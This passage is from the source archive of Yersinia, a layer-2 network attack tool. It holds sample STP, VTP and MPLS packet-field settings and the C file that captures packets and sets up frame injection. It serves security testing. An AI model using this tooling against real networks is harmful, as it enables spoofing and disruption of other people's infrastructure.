0x01 Source MAC = 04:08:20:12:A9:75 Destination MAC = FF:FF:FF:FF:FF:FF Label1 = 123 Exp1 = 000 Bottom1 = 1 TTL1 = 8 Label2 = 678 Exp2 = 000 Bottom2 = 0 TTL2 = 64 SrcIP = 10.1.2.3 SrcPort = 19 DstIP = 128.0.0.1 DstPort = 60 Payload = YERSINIA Source MAC = 0A:23:16:02:FF:08 Destination MAC = 01:80:C2:00:00:00 Id = 0x0000 Ver = 0x00 Type = 0x00 Flags = 0x00 RootId = 5080.760F0E14AC58 Pathcost = 0x00000000 BridgeId = CB09.E7CD90117CAA Port = 0x8002 Age = 0x0000 Max = 0x0014 Hello = 0x0002 Fwd = 0x000F Source MAC = 02:C2:DC:7F:8E:F3 Destination MAC = 01:00:0C:CC:CC:CC Version = 0x01 Code = 0x03 Domain = MD5 = 00000000000000000000000000000000 Updater = 010.013.058.001 Revision = 0000000001 Timestamp = Start value = 00001 Followers = 001 Sequence = 001 yersinia-0.7.3/src/interfaces.c0000644000175000017500000012230012234207266014226 0ustar nknk/* interfaces.c * Network interface utilities and main core for capturing packets * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: interfaces.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_SYS_SOCKIO_H #include #endif #include #ifdef HAVE_NET_IF_H #include #endif #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef SOLARIS #include #include #else #ifdef HAVE_PTHREAD_H #include #endif #endif #ifdef HAVE_BPF #include #endif #include "interfaces.h" //////////////////////////////////////////////////////////////////////////////////////////////////// int8_t interfaces_init_data_pcap_addr( pcap_if_t *index, struct interface_data *iface_data ) { pcap_addr_t *pcap_addr; pcap_addr = index->addresses; while( pcap_addr ) { if ( pcap_addr->addr && ( ( pcap_addr->addr->sa_family == AF_INET ) || ( pcap_addr->addr->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->addr->sa_family, (void *)&pcap_addr->addr->sa_data[2], iface_data->ipaddr, IPADDRSIZ ) ) thread_error( "inet_ntop error", errno ); } if ( pcap_addr->netmask && ( ( pcap_addr->netmask->sa_family == AF_INET ) || ( pcap_addr->netmask->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->netmask->sa_family, (void *)&pcap_addr->netmask->sa_data[2], iface_data->netmask, IPADDRSIZ ) ) thread_error( "inet_ntop error", errno ); } if ( pcap_addr->broadaddr && ( ( pcap_addr->broadaddr->sa_family == AF_INET ) || ( pcap_addr->broadaddr->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->broadaddr->sa_family, (void *)&pcap_addr->broadaddr->sa_data[2], iface_data->broadcast, IPADDRSIZ ) ) thread_error( "inet_ntop error", errno ); } if ( pcap_addr->dstaddr && ( ( pcap_addr->dstaddr->sa_family == AF_INET ) || ( pcap_addr->dstaddr->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->dstaddr->sa_family, (void *)&pcap_addr->dstaddr->sa_data[2], iface_data->ptpaddr, IPADDRSIZ ) ) thread_error("inet_ntop error",errno); } pcap_addr = pcap_addr->next ; } return 0 ; } //////////////////////////////////////////////////////////////////////////////////////////////////// int8_t interfaces_init_data_pcap( struct interface_data *iface_data, pcap_if_t *index ) { char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *pcap_hnd ; int8_t ret = -1 ; if ( ( pcap_hnd = pcap_open_live( iface_data->ifname, SNAPLEN, 0, 0, errbuf ) ) ) { iface_data->iflink = pcap_datalink( pcap_hnd ); pcap_close( pcap_hnd ); if ( iface_data->iflink == DLT_EN10MB ) { strncpy( iface_data->iflink_name, pcap_datalink_val_to_name( iface_data->iflink ), PCAP_DESC ); strncpy( iface_data->iflink_desc, pcap_datalink_val_to_description( iface_data->iflink ), PCAP_DESC ); write_log( 0, "\n %s iflinkname %s\n", iface_data->ifname, iface_data->iflink_name ); write_log( 0, " %s iflinkdesc %s\n", iface_data->ifname, iface_data->iflink_desc ); interfaces_init_data_pcap_addr( index, iface_data ) ; if (tty_tmp->debug ) { write_log( 0," %s ip is %s\n",iface_data->ifname, iface_data->ipaddr); write_log( 0," %s mask is %s\n", iface_data->ifname, iface_data->netmask); write_log( 0," %s broadcast is %s\n", iface_data->ifname, iface_data->broadcast); write_log( 0," %s P-t-P is %s\n", iface_data->ifname, iface_data->ptpaddr ); } ret = 0 ; } } else { write_log( 0, "pcap_open_live failed: %s\n", errbuf ); } return ret; } //////////////////////////////////////////////////////////////////////////////////////////////////// int8_t interfaces_init_data_libnet( struct interface_data *interface ) { char errbuflibnet[LIBNET_ERRBUF_SIZE]; struct libnet_ether_addr *etheraddr; libnet_t *libnet_hnd; int8_t ret = -1 ; if ( ( libnet_hnd = libnet_init( LIBNET_LINK, interface->ifname, errbuflibnet ) ) ) { etheraddr = libnet_get_hwaddr( libnet_hnd ); if ( etheraddr && memcmp( (void *)etheraddr, "\x0\x0\x0\x0\x0\x0", 6 ) ) { memcpy( (void *)interface->etheraddr, (void *)etheraddr, ETHER_ADDR_LEN ); } libnet_destroy( libnet_hnd ); write_log( 0," %s MAC = %02x%02x.%02x%02x.%02x%02x\n", interface->ifname, etheraddr->ether_addr_octet[0], etheraddr->ether_addr_octet[1], etheraddr->ether_addr_octet[2], etheraddr->ether_addr_octet[3], etheraddr->ether_addr_octet[4], etheraddr->ether_addr_octet[5]); ret = 0; } else { write_log( 0, "libnet_init failed on %s -> %s\n", interface->ifname, errbuflibnet ); } return ret ; } //////////////////////////////////////////////////////////////////////////////////////////////////// /* * Initialize global interfaces list (interfaces). */ int8_t interfaces_init( THREAD *pcap_th ) { char errbuf[PCAP_ERRBUF_SIZE]; struct interface_data *iface_data; pcap_if_t *alldevs; pcap_if_t *index ; u_int16_t i, j; if (pcap_findalldevs(&alldevs, errbuf) == -1) { write_log(0,"interfaces_init pcap_findalldevs: %s\n", errbuf); return -1; } if (tty_tmp->debug) write_log(0,"\n interfaces_init start...\n"); if ((interfaces = (list_t *) calloc(1, sizeof(list_t))) == NULL) { write_log(0, "interfaces_init calloc interfaces\n"); return -1; } if (pthread_mutex_init(&interfaces->mutex, NULL) != 0) { thread_error("interfaces_init pthread_mutex_init interfaces->mutex", errno); return -1; } interfaces->cmp = interfaces_compare; index = (pcap_if_t *) alldevs; while( index ) { if ( ( strncmp( index->name, "any", strlen( index->name ) ) ) && ( index->flags != PCAP_IF_LOOPBACK ) ) { if ( ( iface_data = (struct interface_data *)calloc( 1, sizeof( struct interface_data ) ) ) ) { strncpy( iface_data->ifname, index->name, IFNAMSIZ ); write_log( 0, "Network Interface %s\n", index->name ); if ( interfaces_init_data_pcap( iface_data, index ) != -1 ) { if ( interfaces_init_data_libnet( iface_data ) != -1 ) { iface_data->up = 0; iface_data->pcap_handler = NULL; iface_data->pcap_file = 0; iface_data->libnet_handler = NULL; iface_data->users = 0; for ( j = 0; j < MAX_PROTOCOLS ; j++ ) { iface_data->packets[j] = 0 ; iface_data->packets_out[j] = 0 ; } interfaces->list = dlist_append( interfaces->list, (void *)iface_data ); } } } else { write_log( 0, "interfaces_init calloc iface_data\n" ); return -1; } } index = index->next; } /* free alldevs memory */ pcap_freealldevs(alldevs); packet_stats.global_counter.total_packets = 0; /* Initialize the packets queues...*/ for ( i = 0 ; i < MAX_PROTOCOLS ; i++ ) { queue[i].index = 0; if ( pthread_mutex_init(&queue[i].mutex, NULL) != 0) { thread_error("pthread_mutex_init",errno); return -1; } for ( j=0 ; j < MAX_QUEUE ; j++ ) { if ( ( queue[i].data[j].packet = (u_char *) calloc( 1, SNAPLEN ) ) == NULL ) return -1; if ( ( queue[i].data[j].header = (struct pcap_pkthdr *) calloc( 1, sizeof( struct pcap_pkthdr ) ) ) == NULL ) return -1; } } if (thread_create(&pcap_th->id, &interfaces_th_pcap_listen, (void *)pcap_th) < 0) return -1; if (tty_tmp->debug) write_log(0,"\n interfaces_init finish...\n"); dlist_t *p; for (p=interfaces->list;p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); } return 0; } /* * Enable a network interface in the global interfaces list * Return interface index or -1 on error. * Use global interfaces list (interfaces). */ int16_t interfaces_enable(char *iface) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("interfaces_enable pthread_mutex_lock",errno); return -1; } for (i = 0, p = interfaces->list; p; i++, p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if ((strncmp(iface_data->ifname, iface, strlen(iface))) == 0) { if (iface_data->users == 0) { iface_data->up = 1; iface_data->users++; if (iface_data->pcap_handler == NULL) { if (interfaces_init_pcap(iface_data->ifname) == -1) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } } if (iface_data->libnet_handler == NULL) { if (interfaces_init_libnet(iface_data->ifname) == -1) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } } } else iface_data->users++; if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } return i; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } /* * Search for interface name. * Use global interfaces list (interfaces). * Return interface index on success. * Return -1 on error. */ int16_t interfaces_get(char *iface) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("interfaces_get pthread_mutex_lock",errno); return -1; } for (i = 0, p = interfaces->list; p ; i++, p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if ((strncmp(iface_data->ifname, iface, strlen(iface))) == 0) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_get pthread_mutex_unlock",errno); return -1; } return i; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_get pthread_mutex_unlock",errno); return -1; } /* * Search for interface name. * Use global interfaces list (interfaces). * Return interface_data * on success. * Return NULL on error. */ struct interface_data * interfaces_get_struct(char *iface) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("interfaces_get pthread_mutex_lock",errno); return NULL; } for (i = 0, p = interfaces->list; p ; i++, p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if ((strncmp(iface_data->ifname, iface, strlen(iface))) == 0) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_get pthread_mutex_unlock",errno); return NULL; } return iface_data; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_get pthread_mutex_unlock",errno); return NULL; } /* * Disable a network interface from the global interfaces list * Return -1 on error, 0 on success. * Use global interfaces list (interfaces). */ int8_t interfaces_disable(char *iface) { dlist_t *node; struct interface_data *iface_data; if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("interfaces_disable pthread_mutex_lock",errno); return -1; } if ((node = dlist_search(interfaces->list, interfaces->cmp, (void *)iface)) == NULL) { write_log(0, "Ohh I haven't found the interface %s\n", iface); return -1; } iface_data = (struct interface_data *) dlist_data(node); if (iface_data->users == 1) { iface_data->up = 0; iface_data->users = 0; } else iface_data->users--; if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_disable pthread_mutex_unlock",errno); return -1; } return 0; } int8_t interfaces_init_pcap(char *iface) { struct bpf_program filter_code; dlist_t *node; struct interface_data *iface_data; bpf_u_int32 local_net, netmask; char errbuf[PCAP_ERRBUF_SIZE]; #ifdef HAVE_BPF u_int8_t one; #endif node = dlist_search(interfaces->list, interfaces->cmp, iface); if (!node) return -1; iface_data = (struct interface_data *) dlist_data(node); if ( (iface_data->pcap_handler = pcap_open_live(iface_data->ifname, SNAPLEN, PROMISC, TIMEOUT, errbuf)) == NULL) { write_log(0, "pcap_open_live failed: %s\n", errbuf); return -1; } if ( pcap_lookupnet(iface_data->ifname, &local_net, &netmask, errbuf) == -1) { write_log(0, "pcap_lookupnet failed: %s\n", errbuf); /* Removed so we can sniff on interfaces without address... :) */ /* return -1; */ } if (pcap_compile(iface_data->pcap_handler, &filter_code, FILTER, 0, netmask) == -1 ) { write_log(0, "pcap_compile failed: %s", pcap_geterr(iface_data->pcap_handler)); return -1; } if (pcap_setfilter(iface_data->pcap_handler, &filter_code) == -1) { write_log(0, "pcap_setfilter failed: %s", pcap_geterr(iface_data->pcap_handler)); return -1; } iface_data->pcap_file = pcap_fileno(iface_data->pcap_handler); #ifdef HAVE_BPF one = 1; if (ioctl(iface_data->pcap_file, BIOCIMMEDIATE, &one) < 0) { write_log(0, "ioctl(): BIOCIMMEDIATE: %s", strerror(errno)); return (-1); } #endif return 0; } int8_t interfaces_init_libnet(char *iface) { char errbuf[LIBNET_ERRBUF_SIZE]; dlist_t *node; struct interface_data *iface_data; node = dlist_search(interfaces->list, interfaces->cmp, (void *)iface); iface_data = dlist_data(node); iface_data->libnet_handler = libnet_init(LIBNET_LINK, iface_data->ifname, errbuf); if (iface_data->libnet_handler == NULL) { write_log(0,"libnet_init failed on %s -> %s\n", iface_data->ifname, errbuf); return -1; } write_log(0, " %s libnet_handler %X\n",iface_data->ifname,iface_data->libnet_handler); /* we need 'pseudorandom' numbers ;) */ libnet_seed_prand(iface_data->libnet_handler); return 0; } /* * Thread body for listening in the network and serve the packets * Use global struct 'queue' */ void * interfaces_th_pcap_listen(void *arg) { THREAD *pcap_th; int32_t ret, max; u_int16_t a; int8_t proto; fd_set read_set; struct timeval timeout; sigset_t mask; struct pcap_data packet_data; dlist_t *p; struct interface_data *iface_data; if (tty_tmp->debug) write_log(0,"\n interfaces_th_pcap_listen thread_id = %d\n",(int)pthread_self()); pcap_th = (THREAD *)arg; pthread_mutex_lock(&pcap_th->finished); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("ints_th_pcap_listen pthread_sigmask()",errno); interfaces_th_pcap_listen_exit(pcap_th); } while(!pcap_th->stop) { max = 0; FD_ZERO(&read_set); p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up == 1) { FD_SET( iface_data->pcap_file, &read_set ); if (max < iface_data->pcap_file) max = iface_data->pcap_file; } p = dlist_next(interfaces->list, p); } if (!max) /* For avoiding 100% CPU */ thread_usleep(150000); if (max && !pcap_th->stop) { timeout.tv_sec = 0; timeout.tv_usec = 500000; if ( (ret=select( max+1, &read_set, NULL, NULL, &timeout ) ) == -1 ) { thread_error("interfaces_th_pcap_listen select()",errno); interfaces_th_pcap_listen_exit(pcap_th); } if ( ret ) /* Data on pcap... */ { p = interfaces->list; while( (p) && !pcap_th->stop ) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up == 1) { if (FD_ISSET( iface_data->pcap_file, &read_set )) { if ((ret = pcap_next_ex(iface_data->pcap_handler, &packet_data.header, (const u_char **) &packet_data.packet)) < 0) { write_log(0, "interfaces_th_pcap_listen pcap_next_ex failed: (%d) %s", ret, pcap_geterr(iface_data->pcap_handler)); interfaces_th_pcap_listen_exit(pcap_th); } if (!ret) /* pcap_next_ex timeout...*/ continue; } else { p = dlist_next(interfaces->list, p); continue; } /* save the interface that has received the packet */ strncpy(packet_data.iface, iface_data->ifname, IFNAMSIZ); /* update stats */ if (tty_tmp->debug) write_log(0, "Updating packet stats in interface %s...\n", iface_data->ifname); proto = interfaces_update_stats(&packet_data); if (tty_tmp->debug) write_log(0, "Packet stats updated!\n"); if (proto != NO_PROTO) { /* update the user pcap_files...*/ if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("interfaces pthread_mutex_lock",errno); for(a=0; alist[a].up) { if (terms->list[a].pcap_file.pdumper && (terms->list[a].pcap_file.iflink == iface_data->iflink) ) pcap_dump((u_char *)terms->list[a].pcap_file.pdumper, packet_data.header, packet_data.packet); if (terms->list[a].protocol[proto].pcap_file.pdumper && (terms->list[a].protocol[proto].pcap_file.iflink == iface_data->iflink) ) pcap_dump((u_char *)terms->list[a].protocol[proto].pcap_file.pdumper, packet_data.header, packet_data.packet); } } if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ints_th_pcap_listen pthread_mutex_unlock",errno); /* update the queue...*/ pthread_mutex_lock(&queue[proto].mutex); memcpy(queue[proto].data[(queue[proto].index%MAX_QUEUE)].header, packet_data.header, sizeof(struct pcap_pkthdr)); memcpy(queue[proto].data[(queue[proto].index%MAX_QUEUE)].packet, packet_data.packet, packet_data.header->caplen); strncpy(queue[proto].data[(queue[proto].index%MAX_QUEUE)].iface, packet_data.iface, IFNAMSIZ); queue[proto].index++; pthread_mutex_unlock(&queue[proto].mutex); } } /* if interfaces.up */ p = dlist_next(interfaces->list, p); } /* while */ } } /* if max */ } /* while(!stop)*/ pcap_th->id = 0; if (pthread_mutex_unlock(&pcap_th->finished) != 0) thread_error("ints_pcap_listen_exit mutex_unlock",errno); pthread_exit(NULL); } /* * We arrived here due to normal termination * from thread pcap listener main routine... * Release resources... */ void interfaces_th_pcap_listen_exit(THREAD *pcap_th) { write_log(0,"\n ints_pcap_listen_exit started...\n"); pcap_th->stop = 0; pcap_th->id = 0; /* Tell parent that we are going to die... */ fatal_error--; write_log(0,"\n ints_pcap_listen_exit finished...\n"); if (pthread_mutex_unlock(&pcap_th->finished) != 0) thread_error("ints_pcap_listen_exit mutex_unlock",errno); pthread_exit(NULL); } /* * Get a packet from the protocol queue * Use global struct 'queue'. * Return a pointer to the interface that has received the packet (struct * interface_data). */ struct interface_data * interfaces_get_packet(list_t *used_ints, struct interface_data *iface, u_int8_t *stop_attack, struct pcap_pkthdr *header, u_int8_t *packet, u_int16_t proto, time_t timeout) { u_int8_t i; time_t initial, secs; dlist_t *p; secs = initial = time(NULL); while(!(*stop_attack) && ((secs - initial) <= timeout)) { pthread_mutex_lock(&queue[proto].mutex); for(i=0; i < MAX_QUEUE; i++) { if ( (queue[proto].data[i].header->ts.tv_sec > header->ts.tv_sec) || ( (queue[proto].data[i].header->ts.tv_sec == header->ts.tv_sec) && (queue[proto].data[i].header->ts.tv_usec > header->ts.tv_usec) ) ) { /* Only accept packets from this interface */ if (iface) { if (strncmp(iface->ifname, queue[proto].data[i].iface, IFNAMSIZ) == 0) { memcpy(header, queue[proto].data[i].header, sizeof(struct pcap_pkthdr)); memcpy(packet, queue[proto].data[i].packet, queue[proto].data[i].header->caplen); pthread_mutex_unlock(&queue[proto].mutex); return (struct interface_data *) iface; } } else { /* Accept packets from ALL intefarces used by the attack */ p = dlist_search(used_ints->list, used_ints->cmp, queue[proto].data[i].iface); if (p) { memcpy(header, queue[proto].data[i].header, sizeof(struct pcap_pkthdr)); memcpy(packet, queue[proto].data[i].packet, queue[proto].data[i].header->caplen); pthread_mutex_unlock(&queue[proto].mutex); return (struct interface_data *) dlist_data(p); } } } } pthread_mutex_unlock(&queue[proto].mutex); if (timeout) secs = time(NULL); thread_usleep(50000); } return NULL; } /* * Update protocol statistics. * Return protocol */ u_int16_t interfaces_update_stats(struct pcap_data *packet_data) { struct timeval time_tmp; struct pcap_data *thedata; u_int16_t i, j, min_len; u_int8_t found; int8_t proto; dlist_t *p; struct interface_data *iface_data; i = j = min_len = 0; found = 0; thedata = NULL; if ((proto = interfaces_recognize_packet(packet_data->packet, packet_data->header)) < 0) return -1; thedata = protocols[proto].stats; protocols[proto].packets++; if ((p = dlist_search(interfaces->list, interfaces->cmp, (void *)packet_data->iface)) == NULL) return -1; iface_data = (struct interface_data *) dlist_data(p); iface_data->packets[proto]++; memcpy(&time_tmp, &thedata[0].header->ts, sizeof(struct timeval)); /* Discard corrupt packets */ /* if (packet_data->header->caplen < min_len) { write_log(0, "Error when receiving packet from protocol %d and size %d and the \ minimum size is %d\n", proto, packet_data->header->caplen, min_len); return NO_PROTO; }*/ /* find if there is a similar packet */ while ((!found) && (i < MAX_PACKET_STATS)) { if ((memcmp(thedata[i].packet, packet_data->packet, packet_data->header->caplen) == 0) && (strncmp(thedata[i].iface, packet_data->iface, strlen(thedata[i].iface)) == 0)) { memcpy(thedata[i].header, packet_data->header, sizeof(struct pcap_pkthdr)); found = 1; /* increase the count */ thedata[i].total++; } else { if ( (thedata[i].header->ts.tv_sec < time_tmp.tv_sec) || ( (thedata[i].header->ts.tv_sec == time_tmp.tv_sec) && (thedata[i].header->ts.tv_usec < time_tmp.tv_usec)) ) { memcpy(&time_tmp, &thedata[i].header->ts, sizeof(struct timeval)); j = i; } } i++; } /* if not, remove the oldest one */ if (!found) { memcpy(thedata[j].header, packet_data->header, sizeof(struct pcap_pkthdr)); memcpy(thedata[j].packet, packet_data->packet, packet_data->header->caplen); strncpy(thedata[j].iface, packet_data->iface, IFNAMSIZ); thedata[j].total = 1; } /* temporal fix until ARP is supported (will be?) */ if (proto != PROTO_ARP) packet_stats.global_counter.total_packets++; /* interfaces[packet_data->iface].total_packets++;*/ return proto; } int8_t interfaces_recognize_packet(u_int8_t *packet, struct pcap_pkthdr *header) { u_int8_t i, j, *tmp1, isvalid; int8_t result; result = -1; for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].active) continue; j = 0; isvalid = 1; while (protocols[i].features[j].field > 0) { switch(protocols[i].features[j].field) { case F_ETHERTYPE: if (header->caplen >= 12) { if (ntohs(*(u_int16_t *)(packet + 12)) == (u_int16_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_DSAP: if (header->caplen >= LIBNET_802_3_H) { if ((*(u_int8_t *)(packet + LIBNET_802_3_H)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_SSAP: if (header->caplen >= LIBNET_802_3_H + 1) { if ((*(u_int8_t *)(packet + LIBNET_802_3_H + 1)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_SNAP: if (header->caplen >= LIBNET_802_3_H + 2) { if ((*(u_int8_t *)(packet + LIBNET_802_3_H + 2)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_CISCO: if (header->caplen >= 20) { if (ntohs(*(u_int16_t *)(packet + 20)) == (u_int16_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_1: if (header->caplen >= 1) { if ((*(u_int8_t *)(packet)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_2: if (header->caplen >= 2) { if ((*(u_int8_t *)(packet + 1)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_3: if (header->caplen >= 3) { if ((*(u_int8_t *)(packet+ 2)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_4: if (header->caplen >= 4) { if ((*(u_int8_t *)(packet + 3)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_5: if (header->caplen >= 5) { if ((*(u_int8_t *)(packet + 4)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_6: if (header->caplen >= 6) { if ((*(u_int8_t *)(packet + 5)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_UDP_PORT: if (header->caplen >= LIBNET_ETH_H + (((*(packet + LIBNET_ETH_H))&0x0F)*4)) { /* IP */ if (ntohs(*(u_int16_t *)(packet + 12)) == 0x0800) { /* UDP datagram */ if (*(packet + LIBNET_ETH_H + 9) == IPPROTO_UDP) { /* take the ipv4 header length out */ tmp1 = (packet + LIBNET_ETH_H + (((*(packet + LIBNET_ETH_H))&0x0F)*4)); if ((ntohs(*(u_int16_t *)(tmp1)) == protocols[i].features[j].value) || (ntohs(*(u_int16_t *)(tmp1 + 2)) == protocols[i].features[j].value)) result = protocols[i].proto; else isvalid = 0; } } } break; default: break; } j++; } if ((isvalid) && (result >= 0)) return result; } return -1; } int8_t interfaces_clear_stats(int8_t stats) { int8_t i, j; dlist_t *p; struct interface_data *iface_data; for (i = 0; i < MAX_PACKET_STATS; i++) { if (stats == PROTO_ALL) for (j = 0; j < MAX_PROTOCOLS; j++) { memset((void *)protocols[j].stats[i].header, 0, sizeof(struct pcap_pkthdr)); memset((void *)protocols[j].stats[i].packet, 0, SNAPLEN); } else { memset((void *)protocols[stats].stats[i].header, 0, sizeof(struct pcap_pkthdr)); memset((void *)protocols[stats].stats[i].packet, 0, SNAPLEN); } } if (stats == PROTO_ALL) { packet_stats.global_counter.total_packets = 0; for (i = 0; i < MAX_PROTOCOLS; i++) protocols[i].packets = 0; } else protocols[stats].packets = 0; for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (stats == PROTO_ALL) { /* interfaces[i].total_packets = 0;*/ for (j = 0; j < MAX_PROTOCOLS; j++) { iface_data->packets[j] = 0; iface_data->packets_out[j] = 0; } } else { iface_data->packets[stats] = 0; iface_data->packets_out[stats] = 0; } } write_log(0, "Clearing stats for protocol(s) %d...\n", stats); return 0; } int8_t interfaces_destroy(THREAD *pcap_th) { u_int16_t i, j; dlist_t *p; struct interface_data *iface_data; write_log(0,"\n ints_destroy started...\n"); if (pcap_th->id) { write_log(0," ints_destroy killing pcap_listener(%d)...\n", (int)pcap_th->id); thread_destroy(pcap_th); } for (i=0; i < MAX_PROTOCOLS; i++) { if (pthread_mutex_destroy(&queue[i].mutex) != 0) thread_error("pthread_mutex_destroy queue",errno); for (j=0; j < MAX_QUEUE; j++) { if (queue[i].data[j].packet) free(queue[i].data[j].packet); if (queue[i].data[j].header) free(queue[i].data[j].header); } } /* destroy'em all!! I mean the libnet and pcap handlers :) */ for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->libnet_handler) libnet_destroy(iface_data->libnet_handler); if (iface_data->pcap_handler) pcap_close(iface_data->pcap_handler); } dlist_delete(interfaces->list); if (interfaces) { pthread_mutex_destroy(&interfaces->mutex); free(interfaces); } write_log(0," ints_destroy finished...\n"); return 0; } /* * Open a pcap file for writing 'proto' packets * If proto == PROTO_ALL write packets from all protocols */ int8_t interfaces_pcap_file_open(struct term_node *node, u_int8_t proto, char *name, char *iface) { dlist_t *p; struct interface_data *iface_data; if ((p = dlist_search(interfaces->list, interfaces->cmp, (void *)iface)) == NULL) return -1; iface_data = (struct interface_data *) dlist_data(p); if (proto != PROTO_ALL) { if (strlen(name)>= FILENAME_MAX) { node->protocol[proto].pcap_file.name = (char *)calloc(1,FILENAME_MAX+1); if (node->protocol[proto].pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->protocol[proto].pcap_file.name,name,FILENAME_MAX); } else { node->protocol[proto].pcap_file.name = (char *)calloc(1,strlen(name)+1); if (node->protocol[proto].pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->protocol[proto].pcap_file.name,name,strlen(name)); } node->protocol[proto].pcap_file.pd = iface_data->pcap_handler; node->protocol[proto].pcap_file.pdumper = pcap_dump_open(node->protocol[proto].pcap_file.pd, node->protocol[proto].pcap_file.name); node->protocol[proto].pcap_file.iflink = iface_data->iflink; if (node->protocol[proto].pcap_file.pdumper == NULL) { write_log(0,"pcap_dump_open: %s\n", pcap_geterr(node->protocol[proto].pcap_file.pd)); node->protocol[proto].pcap_file.pd = NULL; free(node->protocol[proto].pcap_file.name); return -1; } } else { if (strlen(name)>= FILENAME_MAX) { node->pcap_file.name = (char *)calloc(1,FILENAME_MAX+1); if (node->pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->pcap_file.name,name,FILENAME_MAX); } else { node->pcap_file.name = (char *)calloc(1,strlen(name)+1); if (node->pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->pcap_file.name,name,strlen(name)); } node->pcap_file.pd = iface_data->pcap_handler; node->pcap_file.pdumper = pcap_dump_open(node->pcap_file.pd, node->pcap_file.name); node->pcap_file.iflink = iface_data->iflink; if (node->pcap_file.pdumper == NULL) { write_log(0,"pcap_dump_open: %s\n", pcap_geterr(node->pcap_file.pd)); node->pcap_file.pd = NULL; free(node->pcap_file.name); return -1; } } return 0; } int8_t interfaces_pcap_file_close(struct term_node *node, u_int8_t proto) { if (proto != PROTO_ALL) { pcap_dump_flush(node->protocol[proto].pcap_file.pdumper); 